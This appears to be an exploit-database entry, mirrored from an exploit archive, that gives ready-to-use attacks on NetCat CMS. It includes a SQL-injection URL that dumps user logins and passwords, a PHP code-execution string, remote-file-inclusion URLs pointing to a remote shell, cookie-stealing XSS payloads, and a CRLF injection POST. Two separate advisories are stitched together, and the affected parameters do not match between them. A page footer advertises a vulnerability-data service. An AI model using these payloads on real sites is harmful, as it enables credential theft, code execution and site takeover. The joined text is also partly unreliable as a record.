# Exploit Title: NetCat CMS Code exec, SQL-injection
# Google Dork: none
# Date: 28.11.2010
# Author: brain[pillow]
# Software Link: http://netcat.ru/
# Version: UNKNOWN
On different versions of this software next vulnerabilities are availible:
=======================================================
# Sql-injection:
/search/?action=index&text=q')+union+select+1,1,concat_ws(0x3a,login,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+User%23
=======================================================
# Code exec:
/search/?action=index&text={${phpinfo()}}
# Remote File Inclusion:
=================================
# Vuln code example:
=================================
<?php
/* $Id: function.inc.php 3272 2009-05-25 14:34:42Z vadim $ */
// get global value (for admin mode)
global $MODULE_FOLDER;
// include need classes
include_once ($MODULE_FOLDER."filemanager/nc_filemanager.class.php");
?>
================================
# Three exploits:
================================
/netcat/modules/filemanager/function.inc.php?MODULE_FOLDER=http://shell?
/netcat/modules/forum2/function.inc.php?MODULE_FOLDER=http://shell?
/netcat/modules/logging/function.inc.php?MODULE_FOLDER=http://shell?
Vulnerable Module(s):
[+] search
[+] post
Vulnerable Parameter(s):
[+] search_query
[+] redirect_url
Proof of Concept:
=================
1. Client Side - Cross Site Scripting
The client side cross site scripting vulnerabilities can be exploited by remote attackers without privileged application user
account and with medium or high required user inter action. For demonstration or reproduce ...
1.1 - In URL address.
PoC:
http://site.127.0.0.1:3666/?' onmouseover=’prompt(document.cookie)'bad='>
1.2 - In "search_query" parameter.
PoC:
http://site.127.0.0.1:3666/search/?search_query=' onmouseover=prompt(document.cookie) bad='
2. Client Side via POST - CRLF injection/HTTP Parameter Pollution
The client side crlf vulnerability can be exploited by remote attackers without privileged application user
account and with medium or high required user inter action. For demonstration or reproduce ...
In /netcat/modules/netshop/post.php URL encoded POST input redirect_url was set to NetCatStatus:hacked_by_seceffect
PoC: POST
http://site.127.0.0.1:3666/netcat/modules/netshop/post.php
cart%5b353%5d%5b10%5d=1&cart_mode=add&redirect_url=%0d%0a%20NetCatStatus:hacked_by_seceffect
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation